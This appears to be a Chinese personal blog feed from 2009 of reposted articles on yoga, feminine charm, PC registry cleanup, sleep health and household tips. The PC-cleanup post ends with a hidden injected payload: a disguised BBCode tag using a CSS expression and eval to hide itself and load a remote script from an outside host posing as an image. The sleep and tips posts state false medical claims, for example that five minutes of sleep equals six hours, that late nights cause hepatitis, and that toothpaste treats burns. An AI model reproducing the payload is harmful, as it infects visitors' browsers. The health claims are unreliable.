清泉

[转]瑜伽十八式--漂亮身材是这样练成的

1053750526@qq.com(清泉) — Sat, 28 Nov 2009 11:01:46 GMT

瑜伽十八式


按下面图的动作做每个动作重复20次给你漂亮身材。
1星期减了2公斤不用控制食欲。
但一定要坚持每天每个动作做20次

[转]成熟的女人最迷人

1053750526@qq.com(清泉) — Wed, 25 Nov 2009 14:02:42 GMT

现实中有这么一种女人，她们或许已经不再拥有靓丽的青春，甚至已经步入中年，身上却散发着一种迷人的成熟气质。这份成熟如同美酒佳酿，愈久愈香，令人尤其是男人为之倾倒，为之沉醉。成熟女人不一定漂亮，但身上绝对有一种属于自己的味道。毕竟，天生丽质的女人只是少数，而后天的气质却是可以塑造和培养的。漂亮的女人让人眼前一亮，有独特气质的女人则令人回味无穷。

成熟女人穿衣服的时候，不再像年轻的女孩们只认流行和款式，更讲究衣服的质地、做工、细节等。款式简单大方，不同的场合穿不同的服装，身上的饰物不多，但处处得体，与衣服浑然一体，风格一致成熟女人不浓妆艳抹，也不素面朝天，略施薄妆，使自己看起来清爽宜人即可。且化过妆时时注意细节，不弄花了脸。把一张脸化成妖怪似的女人，令人看起来像是在演戏，无法产生亲近感。成熟女人不会忙手忙脚，生活一团糟，而是把工作、家庭安排的井井有条，热爱生活，更懂得享受生活。不断修炼自己，培养一些优雅的情趣爱好，不但使自己的生活内容充实丰富，还提升了女人的品位。

成熟女人不再毛毛躁躁，风风火火，工作办事时稳重、从容，令领导放心，让下属尊敬。与人相处，亲切随和却又始终保持适当的距离。生活中不斤斤计较，小鸡肚肠，懂得宽容得看待身边的人和事。成熟女人既不矫柔造作，故作姿态，也不遮遮掩掩，虚伪矫情，举手投足间有一种自然和坦荡。无论什么场合，都落落大方，要笑就开怀的笑，要哭就痛快的哭，做一个真实的自我，活的简单而快乐。成熟女人不只属于丈夫和孩子，更属于自己，拥有独立的经济，独立的思想，独立的人格。善待自己，为自己的心灵留一方空间。有些女人，把自己全部交给了丈夫和孩子，却往往再也找不到自己。

成熟女人不消极不自卑，思维开阔，心态平和，利索干练，从内到外透露着一种乐观、自信。乐观给人带来快乐的女人，谁都喜欢与之交往。拥有一份自信的女人，身上更会平添许多魅力。成熟女人不再幼稚，不谙世事，历经岁月的风雨沧桑，清楚自己所需所求，洞悉人情世故，深知人生之意义。珍惜感恩，隐忍宽容，方得心灵平静。像一本内容丰富的书，越看越有趣，越品越有味。成熟女人不用暴露的装束来表达自己的性感，而是营造出一种迷人的气氛，从骨子散发自己的柔情和妩媚。不是用自己的脸蛋和身体勾引男人的眼球，而是用自己的气质和思想抓住男人的的心灵。

成熟女人对待男人不会过于主动或热烈，含蓄中有一分矜持，柔和中有一分刚强，既不冷傲的令人无法亲近，又不随便的让人轻易进入她的内心。总是给男人无限的遐想，又不敢随意碰却。成熟女人不再像小女孩那般放肆张扬，带着一种慈祥的气息，冷静的气度，迷人的高贵，像一首温柔婉约的小诗，像一枝清香四溢的茉莉，像一潭清澈却看不到底的湖水，充满智慧，充满灵性。男人只有在年轻的时候才会迷恋女人的美貌，当男人有一定的阅历，饱经沧桑的时候，会更注重欣赏女人的内在之美。她们的美，美在心灵，美在气度，美在内涵。所以，散发成熟气质的女人最迷人。

[转]电脑用久了，运行速度慢了，教你们怎样清除电脑里面的垃圾

1053750526@qq.com(清泉) — Wed, 25 Nov 2009 14:02:01 GMT

电脑用久了，运行速度慢了，教你们怎样清除电脑里面的垃圾
1、单击“开始”菜单中“程序”的“附件”，单击“系统工具”再单击“清理磁盘”，选择C盘，确认后，选中所有的“口”，再确认；再在“系统工具”中点击“磁盘碎片整理程序”，这需要花很长时间，请耐心等待。一些程序删除了，但并非完全删除，在计算机的注册表中仍然保留安装信息，如不及时删除这些无用的信息，时间久了，注册表就会变得越来越大，影响系统的工作性能。你可利用下述方法将其彻底删除。
2、在多次安装和反安装后，系统保留了很多无用的DLL文件，应将其删除。单击“开始”菜单，单击“运行”，在文本框内键入“regedit”，打开“注册表编辑器”窗口，依次打开 HKEY_LOCAL_MACHINE\Software\Micosoft\Windows\CurrentVersion\SharedDLLs分支。在对话框的右侧，其键值数据后面的括号中都有一个数字，如果数字为0，说明该DLL文件已成为垃圾，将其删除。
3、将不要的程序卸载时，应在“控制面板”中的“添加/删除程序”选择确定删除，这才是彻底的删除方法。在磁盘分区中删除效果不好，有时有些程序是删除不掉的。即使在“控制面板”中的“添加/删除程序”卸载了，但有的程序在注册表中仍有这些程序的名称，成为垃圾。用上述方法打开“注册表编辑器”窗口，依次打开HKEY_LOCAL_MACHINE\Software\Micosoft\Windows\CurrentVersion\Uninstall分支。Uninstall主键下的每一个文件夹对应一个应用程序，打开某一文件夹，即可看到程序反安装的内容，包括程序名DisplayName和UninstallString。找到你删除过的程序名后，右键单击其上层文件夹，选择“删除”。
4、一些不带Uninstall程序或不用安装（复制到计算机中的）即可在Windows中直接运行的程序，如许多小型游戏等，注册表记录程序运行的参数。如果删除了这样的程序，仍要在注册表中删除这些无用的信息。依次打开HKEY_CURRENT_USER\Software分支。从各子键中找到相应程序的文件夹后，将其删除。你也可单击“编辑”|“查找”命令逐一查找包含这些软件信息的子键或键值项，进行彻底清理 [flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]

[转]视频歌曲集

1053750526@qq.com(清泉) — Sat, 21 Nov 2009 11:27:47 GMT

1;亲爱的你在何方
2:做你的爱人
3:女人如烟

4:那一夜
5:爱大了受伤了
6:听着情歌流眼泪
7:曾经最爱的女人
8:坐上了火车去拉萨
9:朝拜
10:等爱的玫瑰
11:有没有人告诉你

[转]睡五分钟等于六钟头的方法(熬夜必看）

1053750526@qq.com(清泉) — Sun, 11 Oct 2009 00:46:25 GMT

熬夜是很正常的事,但经常熬夜对身体会产生很坏的影响,无意中看到这篇文章,转载过来,或许对经常熬夜的同行们会有所帮助。

　　睡觉的诀窍
　　根据医学和我的体验、观察，一个人真正睡着觉最多只有两个钟头，其余都是浪费时间，躺在枕头上做梦，没有哪个人不做梦。至于醒来觉得自己没有做梦，那是因为他忘记了。
　　通常一个人睡两个钟头就够了，为什么有人要睡七、八个钟头?那是你赖床躺在枕头上休息的习惯养成的，并非我们需要那么久的睡眠时间，尤其打坐做功夫的人晓得，正午只要闭眼真正睡着三分钟，等于睡两个钟头，不过要对好正午的时间。夜晚则要在正子时睡着，五分钟等于六个钟头。

　　
就这个时间的学问又大了，同宇宙法则、地球法则、易经阴阳的道理有关系，而且你会感觉到，心脏下面硬是有一股力量降下来，与丹田(肾上)的力量融合，所谓“水火既济”，豁然一下，那你睡眠够了，精神百倍。
　　所以失眠或真要夜里熬夜的人，正子时的时刻，哪怕二十分钟也一定要睡，睡不着也要训练自己睡着。
　　过了正子时大约十二点半以后，你不会想睡了，这很糟糕。更严重的，到了天快亮，四、五点钟，五、六点卯时的时候，你又困得想睡，这时如果一睡，一天都会昏头。
　　所以想从事熬夜工作的人，正子时，即使有天大的事也要摆下来，睡它半小时，到了卯时想睡觉千万不要睡，那一天精神就够了。
　　不过失眠的人都挨过十二点，在床上翻来覆去睡不着，结果快天亮睡着了，到第二天下午都昏头昏脑，因此你会感觉失眠、睡眠不足，实际上是你没有经验。
　
睡眠与养生
　　一、睡眠的规则
　　战国时名医文挚对齐威王说：“我的养生之道把睡眠放在头等位置，人和动物只有睡眠才生长，睡眠帮助脾胃消化食物，所以，所以睡眠是养生的第一大补，人一个晚上不睡觉，其损失一百天也难以恢复。”
　　晚21点到凌晨5点为有效睡眠时间。人是动物，和植物同属于生物，白天(凌晨5点到晚上21点)活动产生能量，晚上(21点到凌晨5点)开始进行细胞分裂，把能量转化为新生的细胞，是人体细胞休养生息、推陈出新的时间，也是人随着地球旋转到背向太阳的一面。阴主静，是人睡眠的良辰，此时休息，才会有良好的身体和精神状态。这和睡觉多的婴儿长得胖、长得快，而爱闹觉的孩子发育不良是一样的道理。
　　睡觉是养生的一大功能，养就是用大量的健康细胞去取代腐败的细胞，如一夜睡不着就换不了新细胞。如果说白天消亡一百万个细胞，一晚上只补回来五十万个细胞，这时你的身体就会出现亏空，时间长了，人就糠了，像糠萝卜似的。为什么世上有百岁老人呢?因为他们每晚都在21点钟准时睡觉。

　　植物吸收阳光的能量，夜里生长，所以夜晚在农村的庄稼地里可听到拔节的声音。人类和植物同属于生物，细胞分裂的时间段大致相同，错过夜里睡觉的良辰，细胞的新生远赶不上消亡，人就会过早的衰老或患病，人要顺其自然，就应跟着太阳走，即天醒我醒，天睡我睡。人在太阳面前小如微尘，“与太阳对着干”是愚蠢的选择，迟早会被太阳巨大的引力催垮。这是客观真理。
　　现实生活中，不少人有入睡难，睡眠质量不高的毛病。睡眠不好是一个综合性的问题，如肝火过盛，睡觉警觉;胃火过剩，睡觉不安;肝阴不足，睡觉劳累。
　　二、睡眠与疾病

　　现代的生活习惯和生活方式给人们的身体带来了很多负面影响形成“四大病”：水果病、冰箱病、电视电脑病、熬夜病。肝脏有一特点：卧则回血，坐立向外供血。
　　子时(23：00—1：00)，其实23点就是新的一天的开始，并不是0点开始的，这是我们犯的误识。肝胆相表里，互为一家，23点胆经开了，如若不睡，大伤胆气，由于十一脏腑皆取决于胆也，胆气一虚，全身脏腑功能下降，代谢力、免疫力纷纷下降，人体机能大大降低，胆气支持中枢神经，胆气受伤易患各种精神疾病，比如抑郁症、精神分裂症、强迫症、躁动症等。子时胆要更换胆汁，胆经渐旺人如不卧，胆汁更替不利，过浓而结晶成石，久之即得胆结石，如果把胆给摘了，一摘就胆怯了，全身的免疫力下降了50%以上，所以不能摘，要用它本系统的巨大潜能把它化掉。
　　丑时肝经最旺，丑时(1：00—3：00)不眠，肝无法解除掉有毒之物，产生新鲜血液，因藏血不利，面呈青色，久之易患各类肝病，现在有些人肝不太好，特别在欧洲平均4个人就有一个大三阳或是小三阳，大都是因为违反自然规律过了子时不睡觉造成的。甲肝比较好治，乙肝就很难治。乙肝病毒携带者，是由于晚上经常不睡觉，人太虚弱了，也就是说秩序太乱了，病毒已经到了细胞里了。也就是说乙肝的病毒已经到了细胞里面，但是现在它还没有能力造成肝炎，当人身体处于最薄弱的时候就形成成肝炎，乙型肝炎就意味着将来40%——60%的肝硬化。聪明的人是应该了解天、地、人之间的关系，不聪明的人就是应该被淘汰的人。

　　垃圾睡眠给肝脏带来多大伤害？

　　肝主疏泄，过子时不睡，可引起肝疏泄不利，肝气郁结，可见易怒，头痛头晕，眼红，眼痛，耳鸣，耳聋，胸肋胀痛，女性月经不调，便秘，也可引起肝气升发不足，人会目倦神疲，腰膝酸软，晕眩，失眠，惊悸，精神恍惚，重则会晕倒在大街上，不省人事。
　　肝有藏血、调节血液的功能，过子时不睡，会造成肝血不足，还会引起吐血、流鼻血、皮下出血、牙龈出血、眼底出血、耳出血等出血证状。
　　肝开窍于目，过子时不睡，易引起肝虚，则出现视力模糊、老花、夜盲、畏光、迎风流泪，等症状，还会形成青光眼、白内障、眼底动脉硬化、视网膜病变等眼疾。
　　肝主筋，其华在爪，过子时不睡觉，会引起肝血不足，就出现筋痛，麻木，屈伸困难，痉挛抽搐，易造成灰指甲，缺钙，髌骨软化，癫痫病，骨质疏松等症。

　　肝与心，过子时不睡觉，可引起肝血不足，由于心主一身之血脉，肝有储藏和调节血液的功能，会造成心脏供血不足，引起心慌、心颤等症状，严重的形成心脏病、高血压等心脑血管疾病。
　　肝与脾，过子时不睡觉，会引起肝胃不和，由于肝助脾胃消化，由于肝气太虚不能助脾胃消化，使人脾胃消化功能不好，表现为舌苔厚，长期以来会造成中气塌陷。
　　肝与肺，过子时不睡觉，无法滋阴潜阳，肝阴亏损，引起肝火过盛灼肺，出现干咳、或咳嗽、咳痰血等木火刑金的证状，易导致牛皮癣等各种皮肤病。
　　肝与肾，过子时不睡觉，肝虚导致肾亏，由于肝肾同源，容易造成生殖系统疾病、不育、骨病、牙病、脱发、糖尿病、肾衰竭等疾病。

　　三、睡眠的方法

　　交通规则——你不懂就容易出事故。比如说，23点至凌晨3点为子丑时，胆肝经最活跃的时候，肝胆要回血，“躺下去回血，站起来供血”。如果你每晚22点钟左右躺下，静静得不要说话，到23点的时候，也就睡着了。肝胆开始回血，把有毒的血过滤掉，产生新鲜的血液，到一百岁也没有胆结石，也没有肝炎、囊肿一类的病。如果你天天熬夜到1点多，肝回不了血，有毒的血排不掉，新鲜的血生不成，胆又无法换胆汁，所以这些人容易得胆结石、囊肿、大三阳、小三阳各种病症。
　　在欧洲地区，平均四个人就有一个肝炎病毒携带者，这就叫不懂规则。睡前半小时最好不要讲话，睡觉的时候更不要说话，如一说话，肺经动，然后心经又动，(因为心肺共为上焦)人就容易进入兴奋状态，所以就很难入睡。
　　21：00—23：00为亥时。亥时三焦经旺，三焦通百脉。亥时入眠，百脉皆得濡养，故百岁老人得共同特点即21：00(亥时)之前入睡。女性若想长久的保持容颜娇好，应做到早睡早期。
　　睡觉要关窗，不能开风扇、不能开空调，人生病很多都与此有关，因为人在睡眠之中，气血流通缓慢，体温下降，人体会在表面形成一种阳气层，这种阳气层它使人叫“鬼魅不侵”，什么意思呢，阳气足的人，不做恶梦，就是这种阳气，占了上风。开空调，开风扇，情况就不一样了，开窗户，窗户走的是风，风入的是筋，如果开空调，也有风，风入筋，寒入骨，早上起来，身上发黄，脸发黄，脖子后面那条筋发硬，骨节酸痛，甚至有人就开始发烧，这就是风和寒侵入到了筋和骨头里的缘故，这也就是气受伤了。如果说晚上睡觉不开窗，不开空调，不开风扇，连房门也关上，效果最好，如果热，把房门打开，把窗户关上，效果就差了一点，但是他不至于第二天早上起来浑身乏力，后背僵硬.
　　有人把客厅的空调开开了，把卧室的门打开，和直接开空调睡觉是差不多的，开了空调以后，空调那个寒进了骨了，所以心里发冷，心在哪，心在脑髓，脑为髓之海，骨髓里有寒，那肯定心里就寒了，怎么办，补肾阳、补中气，什么时候补到心里不冷，烧就退了，寒走出去了。
　　睡觉要尽量早睡，睡得晚，伤了少阳之气，必然第二天是疲倦无力，要关上窗户，不开空调、电扇，保护阳气。
　　肝胆在下焦，如果胃出现问题的时候，他就会出现寝睡不安，一个是胃寒，如果这个人胃阳本来就不足，过多的喝绿茶，就会出现胃寒，胃寒的时候人是睡不好觉的，或者吃带泥沙之物过多，胃隐隐作寒，肯定是睡不好;
　　再一个是胃热，就是热气往上走，嘴里喘的都是热气，像这种情况也睡不好觉;再一个是胃燥，口干舌燥，胃里感觉到燥;
　　还有一个就是胃厚，气味的味，胃厚，这种情况就是吃了这种厚腻的味道，有人吃海鲜、吃鱼、吃炖鸡，味道好鲜美，吃多了，美味不可多用，这些东西在里面要稀释它，不稀释它，它在里面味太厚了，所以这个也睡不好觉;
　　再一个腹涨，腹是涨鼓鼓的，也睡不着，翻来覆去也睡不着;再一个是胃气太虚，冒冷汗，这也睡不好觉，这些原因都可能形成胃不宁，胃不宁就睡不好。
　　睡觉时要肢暖，四肢要暖，因为四肢是阳之本，这个大家都知道了，四肢不暖，肯定是肾阳不足，应该在睡觉之前把手脚捂暖，手脚和肚脐、背后的命门都要盖好。

　　睡眠法因人而异，下面介绍3种做法：

　　1、睡觉前简单的压腿，然后在床上自然盘坐，两手重叠放于腿上，自然呼吸，感觉全身毛孔随呼吸一张一合，若能流泪打哈欠效果最佳，到了想睡觉时倒下便睡。
　　2、仰卧，自然呼吸，感觉呼吸像春风，先融化大脚趾，然后是其他脚趾，接着脚、小腿、大腿逐渐融化。如还未醒着，再从头做。
　　3、入睡快的人可右侧卧，右手掌托右耳。右掌心为火，耳为水，二者形成水火即济，在人体中形成心肾相交。久之，养心滋肾。
　　睡眠一定要早起，即使在冬天，也不可超过6点起床，春夏秋季尽量在5点之前起床，因为人在寅时(3点—5点)肺经旺的时候起床，能够使肺气得以舒展，以顺应阳气的舒长，来完成新陈代谢，肃降浊气，使肺气清，这样有助于养肺和顺应太阳的天势升起人体阳气，使人一天阳气充足，否则，就好像发动机，过了这段好时机就很难发动人体阳气，人体阳气淤积在人体下部不能由命门向上发动升起，会形成淫气，严重损害人的身心健康。

　　早晨5点至7点是人体大肠经最旺的时候，人体需要把代谢的浊物排出体外，此时如果不起床，大肠得不到充分活动，无法很好的完成排浊功能，使浊物停留而形成毒素，危害人体血液和脏腑百骸。早晨7点到9点人体胃经最旺，9点到11点人体脾经最旺，这时人的消化吸收运化的能力最好，如果这时还不起床，人体胃酸会严重腐蚀胃粘膜，人体在最佳吸收营养时间得不到营养，长期以来会患脾胃疾病，造成营养不良、中气塌陷。所以千万不要赖床，赖床会造成头昏、疲惫不堪、睡眠不足的感觉，而应按时起床，历史上许多伟人都是有三四点钟起床的习惯，比如华盛顿、拿破仑、康熙皇帝、曾国藩等。另外早起能增加工作效益，俗话说：“三天早起，一天工”。
　　现代医学证明，早睡早起的人精神压力较小，不易患精神类疾病。早晨不要太早出去锻炼，因为早晨在太阳没有出来之前，地下道的漳气、浊气正往上走(尤其是城市)，这些气对人体损伤是很严重的。
　　养身三大事，一睡眠，二便利，三饮食，其余起居、服装等皆是辅助。
　　三事中睡眠第一。然胃纳不和者，夜眠不安，故以通便利为第二。而饮食无节，饥饱过度者，肠胃必受伤，而营养日减。睡以安神为主，神以心安为主，应配合年龄，壮年至多七小时至八小时，多睡则智昏头晕眼红胀，四肢疲软，童年必睡足八小时，或过九小时勿碍，老或病人至多六小时已足。

　　睡眠中不可忽视的疾病警告
　　应注意：

　　(一)睡眠宜早，勿过十时，老年人以八点为正，勿过九点。凡交十一时，为阳生时，属肾，此时失眠，肾水必亏，心肾相连，水亏则火旺，最易伤神。千万勿以安眠药片助睡。
　　(二)枕上切忌思索计算未来事，睡时宜一切不思，鼻息调匀，自己静听其气，由粗而细，由细而微细而息。视此身如无物，或如糖入于水，化为乌有，自然睡着。
　　(三)如有思想，不能安着，切勿在枕上转侧思虑，此最耗神，可坐起一时再睡。
　　(四)如在午时，即上午十一点至一点，为阴生之时，属心，此时如不能睡，可静坐一刻钟，闭目养神，则心气强。凡有心脏病者切宜注意，每日于此二时注意，则元气日强，无心跳腹泄或小便频速之病。
　　(五)夏日起宜早，冬日起宜迟。居北方宜防寒气，如在粤桂等省，早起防山岚瘴气中病。食后勿仰天睡，早起如在寅时三点至五点，此时切忌郁怒，必损肺伤肝，万望注意。

[转]转载：生活小常识

1053750526@qq.com(清泉) — Tue, 09 Jun 2009 05:16:31 GMT

[ft=,+0,]1.吃了辣的东西，感觉就要被辣死了，就往嘴里放上少许盐，含一下，吐掉，漱下口，就不辣了；
[ft=,+0,]
[ft=,+0,][ft=,+0,]2.牙齿黄，可以把花生嚼碎后含在嘴里，并刷牙三分钟，很有效；

[ft=,+0,][ft=,+0,]3.若有小面积皮肤损伤或者烧伤、烫伤，抹上少许牙膏，可立即止血止痛；

[ft=,+0,][ft=,+0,]4.经常装茶的杯子里面留下难看的茶渍，用牙膏洗之，非常干净；

[ft=,+0,][ft=,+0,]5.仰头点眼药水时微微张嘴，这样眼睛就不会乱眨了；

[ft=,+0,][ft=,+0,]6.嘴里有溃疡，就用维生素C贴在溃疡处，等它溶化后溃疡基本就好了；

[ft=,+0,][ft=,+0,]7.眼睛进了小灰尘，闭上眼睛用力咳嗽几下，灰尘就会自己出来；

[ft=,+0,][ft=,+0,]8.洗完脸后，用手指沾些细盐在鼻头两侧轻轻按摩，然后再用清水冲洗，黑头和粉刺就会清除干净，毛细孔也会变小；

[ft=,+0,][ft=,+0,]9.刚刚被蚊子咬完时，涂上肥皂就不会痒了；

[ft=,+0,][ft=,+0,]10.如果嗓子、牙龈发炎了，在晚上把西瓜切成小块，沾着盐吃，记得一定要是晚上，当时症状就会减轻，第二天就好了；

[ft=,+0,][ft=,+0,]11.吹风机对着标签吹，等吹到商标的胶热了，就可以很容易的把标签撕下来；

[ft=,+0,][ft=,+0,]12.旅行带衣服时如果怕压起褶皱，可以把每件衣服都卷成卷；

[ft=,+0,][ft=,+0,]13.打打嗝时就喝点醋，立杆见影；

[ft=,+0,][ft=,+0,]14.吃了有异味的东西，如大蒜、臭豆腐，吃几颗花生米就好了；

[ft=,+0,][ft=,+0,]15.治疗咳嗽，特别是干咳，晚上睡觉前，用纯芝麻香油煎鸡蛋，油放稍多些，什么调味料都不要放，趁热吃过就去睡觉，连吃几天效果很明显；

[ft=,+0,][ft=,+0,]16.手腕长粗的MM想带较细的手镯，就不能硬带，应把手上套上一个塑料袋再带上手镯，非常好带，也不会把手弄疼，取下也是同样的方法；

[ft=,+0,][ft=,+0,]17.栗子皮难剥，先把外壳剥掉，再把它放进微波炉转一下，拿出后趁热一搓，皮就掉了；

[ft=,+0,][ft=,+0,]18.插花时，在水里滴上一滴洗洁精，可以维持好几天；

[ft=,+0,][ft=,+0,]19.把核桃放进锅里蒸十分钟，取出放在凉水里再砸开，就能取出完整的桃核仁了；

[ft=,+0,][ft=,+0,]20.把虾仁放进碗里，加一点精盐、食用碱粉，用手抓搓一会儿后用清水浸泡，然后再用清水冲洗，即能使炒出的虾仁透明如水晶，爽嫩可口；

[ft=,+0,][ft=,+0,]21.炒肉时，先把肉用小苏打水浸泡十几分钟，倒掉水，再入味，炒出来会很嫩滑；

[ft=,+0,][ft=,+0,]22.将残茶叶浸入水中数天后，浇在植物根部，可促进植物生长；

[ft=,+0,][ft=,+0,]23.把残茶叶晒干，放到厕所或者沟渠里燃熏，可消除恶臭，具有驱除蚊子苍蝇的功能；

[ft=,+0,][ft=,+0,]24.夹生饭重煮法：可用筷子在饭内扎些直通锅底的孔，洒入少许黄酒重焖，

[ft=,+0,][ft=,+0,]25.若只表面夹生，只要将表层翻到中间再焖即可；

[ft=,+0,][ft=,+0,]26.巧除纱窗油腻：将洗衣服、吸烟剩下的烟头一起放在水里，待溶解后，拿来擦玻璃窗、纱窗，效果真不错；

[ft=,+0,][ft=,+0,]27.只要在珠宝盒中放上一节小小的粉笔，即可让首饰常保光泽；

[ft=,+0,][ft=,+0,]28.桌子、瓶子表面的不干胶痕迹用风油精可以擦拭；

[ft=,+0,][ft=,+0,]29.出门时随时在包里带一节小的干电池，若裙子带静电，就把电池的正极在裙子上面擦几下即可去掉静电；

[ft=,+0,][ft=,+0,]30.不管是鞋子的哪个地方磨到了你的脚，你就在鞋子磨脚的地方涂一点点白酒，保证就不磨脚了；

[ft=,+0,][ft=,+0,]31.亨调蔬菜时，如果必须要焯，焯好菜的水最好尽量利用。如做水饺的菜，焯好的水可适量放在肉馅里，这样既保证营养，又使水饺馅味美有
[ft=,+0,][ft=,+0,]汤；

[ft=,+0,][ft=,+0,]32.夏天足部容易出汗，每天用淡盐水泡脚可有效应对汗脚；

[ft=,+0,][ft=,+0,]33.夏天游泳后晒晒太阳，可防肌肤劳损等疾病发生；

[ft=,+0,][ft=,+0,]34.夏天枕头易受潮滋生霉菌，时常曝晒枕芯有利健康；

[ft=,+0,][ft=,+0,]35.多吃薏米小豆粥等潮湿健脾，可防暑湿；

[ft=,+0,][ft=,+0,]36.防失眠：睡前少讲太多话，忌饮浓茶，睡前勿大用脑，可用热水加醋洗脚；

[ft=,+0,][ft=,+0,]37.金银花有疏散风湿功效，金银花水煎取汁凉后与蜂蜜冲调可解暑；

[ft=,+0,][ft=,+0,]38.吃过于肥腻的食物后喝茶，能刺激自律神经，促进脂肪代谢；

[ft=,+0,][ft=,+0,]39.睡眠不足会变笨，一天需要睡眠八小时，有午睡习惯可延缓衰老；

[ft=,+0,][ft=,+0,]40.双手易变得干燥粗糙，用醋泡手十分钟可护肤；

[ft=,+0,][ft=,+0,]41.夏天擦拭凉席，用滴加了花露水的清水擦拭凉席，可使凉席保持清爽洁净。当然，擦拭时最好沿着凉席纹路进行，以便花露水渗透到凉席的纹[ft=,+0,][ft=,+0,]路缝隙，这样清凉舒适的感觉会更持久；

[ft=,+0,][ft=,+0,]42.早餐多食西红柿、柠檬酸等酸性蔬菜和水果，有益于养肝；

[ft=,+0,][ft=,+0,]43.爽身止痒洗头或洗澡时，在水中加五六滴花露水，能起到很好的清凉除菌、祛痱止痒作用；

[ft=,+0,][ft=,+0,]44.葡萄含有睡眠辅助激素，常食有助睡眠；

[ft=,+0,][ft=,+0,]45.夏天多喝番茄汤既可获得养料，又能补充水分，番茄汤应烧好并冷却后再喝，所含番茄红素有一定的抗前列腺癌和保护心肌的功效，最适合于[ft=,+0,][ft=,+0,]男子；吃酸性物质马上刷牙会损害牙齿健康；

[ft=,+0,][ft=,+0,]46.因外伤碰破皮肉时，在伤处涂上牙膏进行消炎、止血，再包扎，作为临时急救药，以药物牙膏效果最为显著；

[ft=,+0,][ft=,+0,]47.将白醋喷洒在菜板上，放上半小时后再洗，不但能杀菌，还能除味；

[ft=,+0,][ft=,+0,]48.喝酸奶能解酒后烦躁，酸奶能保护胃黏膜、延缓酒精吸收，并且含钙丰富，对缓解酒后烦躁尤其有效；

[ft=,+0,][ft=,+0,]49.皮鞋包皮放久了发霉时，可用软布蘸酒精加水（1：1）溶液擦拭即可；

[ft=,+0,][ft=,+0,]50.发生头痛、头晕时，可在太阳穴涂上牙膏，因为牙膏含有薄荷脑、丁香油可镇痛；

[ft=,+0,][ft=,+0,]51.蜡烛冷冻二十四小时后，再插到生日蛋糕上，点燃时不会流下烛油；

[ft=,+0,][ft=,+0,]52.白色衣裤洗后易泛黄，可取一盆清水，滴上二三滴蓝墨水，将洗过的衣裤在浸泡一刻钟，不必拧干，就放在太阳下晒，即可洁白干净；

[ft=,+0,][ft=,+0,]53.过多食用生葱蒜会刺激口腔肠胃，不利健康，最好加一点醋再食用；

[ft=,+0,][ft=,+0,]54.及时补充水分但应少喝果汁、可乐、雪碧、汽水等饮料，含有较多的糖精和电解质，喝多了会对肠胃产生不良刺激，影响消化和食欲。因此夏[ft=,+0,][ft=,+0,]天应多喝白开水或淡盐（糖）水；

[ft=,+0,][ft=,+0,]55.每天早晨用豆腐摩擦面部几分钟，坚持一个月，面部会变得很滋润；

[ft=,+0,][ft=,+0,]56.空调室内温差不宜超过五度，即使天气再热，空调室内温度也不宜到24度以下；

[ft=,+0,][ft=,+0,]57.加酶洗衣粉剂放在温水中需要较长的分解时间才能使洗衣效果更佳；

[ft=,+0,][ft=,+0,]58.夏天，人的活动时间变长，出汗多，耗能过大，应适当多吃鸡、鸭、瘦肉、鱼类、蛋类等营养食品，以满足人体的代谢需要；

[ft=,+0,][ft=,+0,]59.头痛时把苹果磨成泥状涂在纱布上，贴在头痛处，症状可减轻；

[ft=,+0,][ft=,+0,]60.皮包上有污渍，可以用棉花蘸风油精擦拭。
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什么是阅读空间?

无题

1053750526@qq.com(清泉) — Mon, 08 Jun 2009 07:53:35 GMT

忙碌的领导在包厢里;
重要的工作在宴会里;
干部的任免在交易里;
工程的发包在暗箱里;
该抓的工作在口号里;
须办的急事在会议里;
妥善的计划在柜子里;
应刹的歪风在通知里;
扶贫的干部在轿车里;
宝贵的人才在悼词里;
劣质的商品在广告里;
豪华的大楼在机关里;
动人的女秘在卧室里;
动听的词汇在汇报里;
辉煌的数字在总结里;
巨大的成绩在水份里;
可喜的进步在创意里!

女性健康小常识

1053750526@qq.com(清泉) — Sat, 23 May 2009 03:21:07 GMT

? 女性健康小常识
> > 1. 每周一次晨爱
> > 2. 在干净的床上裸睡
> > 3. 生理期不吃巧克力，因为会加重痛经
> > 4. 经期只穿无钢圈内衣
> > 5. 养成记录生理周期的习惯
> > 6. 通过运动而非调整型内衣来塑造曲线
> > 7. 不翘二郎腿，以免压迫神经
> > 8. ML后去一次洗手间
> > 9. 贴身衣物不干洗
> > 10. 拉风的丁字裤不适宜日常穿着
> > 11. 不穿标有“免烫”标识的衣服
> > 12. 丝巾扎得过紧会导致头晕
> > 13. 去年的衣服要进行曝晒后才可以穿
> > 14. 如非必要，不使用卫生护垫
> > 15. 定期检查化妆品的保质期
> > 16. 洗浴后一小时再化妆
> > 17. 每周只用一次清洗液，用温水清洁私密部位
> > 18. 即使爱美，也不要在耳朵上部的外缘软骨部位穿耳洞
> > 19. 染发频率控制在半年一次
> > 20. 了解自己的家庭病史，特别是母亲和外婆的病史

? > > 蓝色题板
> > 21. 每天踏进办公室，先将窗户打开透气，再坐下来工作
> > 22. 如果一天要接听5小时电话，使用无线耳机
> > 23. 复印文件时，与复印机保持至少一米
> > 24. 只在非常必要时才使用滴眼液
> > 25. 不趴在办公桌上午睡
> > 26. 该午休的时候不玩电脑游戏
> > 27. 在办公室为自己准备小靠垫，放在腰部
> > 28. 从不戴着眼镜接听手机
> > 29. 别让电脑包围你，它的侧、背面辐射更凶
> > 30. 不要将笔记本电脑放在膝上使用
> > 31. 在办公桌上养一盆仙人掌，帮助吸收辐射
> > 32. 阅读完报纸后，记得清洗掉沾在手上的油墨
> > 33. 每30分钟伸一次懒腰
> > 34. 办公室地毯定期清洗杀虫
> > 35. 用完电脑后要清洁面部及手部，清除辐射微尘
> > 36. 下班时将洗净的水杯倒扣在办公桌上
> > 37. 单肩的短带挎包会加重肩周炎症状
> > 38. 公文包时的口红与签字笔分格存放
> > 39. 每天保证有2小时以上的时间，让脚从高跟鞋时解放出来
> > 40. 每周晚过22：00的加班不超过一次
> > 绿色题板
> > 41. 浴室保持干燥，防止霉菌滋生
> > 42. 沐浴不超过10分钟
> > 43. 不要坐在马桶上看报纸
> > 44. 用温水刷牙，同时刷刷舌头
> > 45. 用冷热水交替洗脸
> > 46. 不用塑料器皿盛装热水
> > 47. 定期清理冰箱
